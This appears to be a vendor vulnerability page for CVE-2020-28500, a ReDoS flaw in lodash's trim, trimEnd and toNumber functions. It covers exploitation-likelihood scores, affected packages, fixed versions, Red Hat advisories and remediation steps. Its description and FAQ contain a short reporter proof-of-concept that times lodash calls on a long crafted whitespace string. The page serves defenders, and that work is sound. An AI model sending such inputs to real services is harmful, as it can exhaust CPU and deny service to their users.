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MEDIUM severity

CVE-2020-28500 — lodash

MEDIUMFix: lodash/lodash#5065

CVE-2020-28500 is a medium-severity (CVSS 5.3) vulnerability in lodash. 6 public exploit references exist, so weaponization risk is real. A fix is available for lodash — see the affected versions and patch details below.

Regular Expression Denial of Service (ReDoS) in lodash

Also known asGHSA-29mw-wpgm-hmr9
Published
Updated
Affected
5 pkgs
Patched
3 / 5
Exploits
6 known
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
7.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs94th percentile — riskier than 94% of all scored CVEsHighest risk
0.00%3.15%6.31%9.46%0.2%7.3%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2020-28500 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

5 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

198Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
lodashnpm
94.5Mdownloads / week
lodash-esnpm
29.8Mdownloads / week
lodash.trimendnpm
56Kdownloads / week

Description

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Affected Packages

5 total 3 fixed
EcosystemPackageVulnerable rangeFix
📦npmlodash≥ 4.0.0&&< 4.17.214.17.21npm install lodash@4.17.21
📦npmlodash-es≥ 4.0.0&&< 4.17.214.17.21npm install lodash-es@4.17.21
📦npmlodash.trimend≥ 4.0.0No fix
📦npmlodash.trim≥ 4.0.0No fix
💎RubyGemslodash-rails≥ 4.0.0&&< 4.17.214.17.21bundle update lodash-rails --conservative

Affected Products

19 products · 42 configurations
Application
lodashlodash
< 4.17.21
range
Application
banking corporate lending process managementoracle
3 versions
14.2.014.3.014.5.0
Application
banking credit facilities process managementoracle
3 versions
14.2.014.3.014.5.0
Application
banking extensibility workbenchoracle
3 versions
14.2.014.3.014.5.0
Application
banking supply chain financeoracle
3 versions
14.2.014.3.014.5.0
Application
banking trade finance process managementoracle
3 versions
14.2.014.3.014.5.0
Exploits & PoCs
6

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lodash, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lodash to 4.17.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2020-28500 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

In OpenShift ServiceMesh (OSSM) and Red Hat OpenShift Jaeger (RHOSJ) the affected containers are behind OpenShift OAuth authentication. This restricts access to the vulnerable nodejs-lodash library to authenticated users only, therefore the impact is low. While Red Hat Virtualization's cockpit-ovirt has a dependency…

ProductFixed inAdvisory
Red Hat Migration Toolkit for Containers 1.7rhmtc/openshift-migration-ui-rhel8:v1.7.4-12RHSA-2022:6429
Red Hat OpenShift Container Platform 4.8openshift4/ose-console:v4.8.0-202107010336.p0.git.188a490.assembly.streamRHSA-2021:2438
Red Hat OpenShift Jaeger 1.20distributed-tracing/jaeger-all-in-one-rhel8:1.20.4-18RHSA-2021:2543
Red Hat Virtualization 4 for Red Hat Enterprise Linux 8cockpit-ovirt-0:0.15.1-2.el8evRHSA-2021:3459
Red Hat Virtualization Engine 4.4ovirt-engine-ui-extensions-0:1.2.6-1.el8evRHSA-2021:2179

Frequently Asked Questions

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1;
O3 Security · Impact-Aware SCA

Is CVE-2020-28500 in your dependencies?

Find it across npm, RubyGems, including transitive dependencies.

CVE-2020-28500: lodash DoS — Fixed in 4.17.21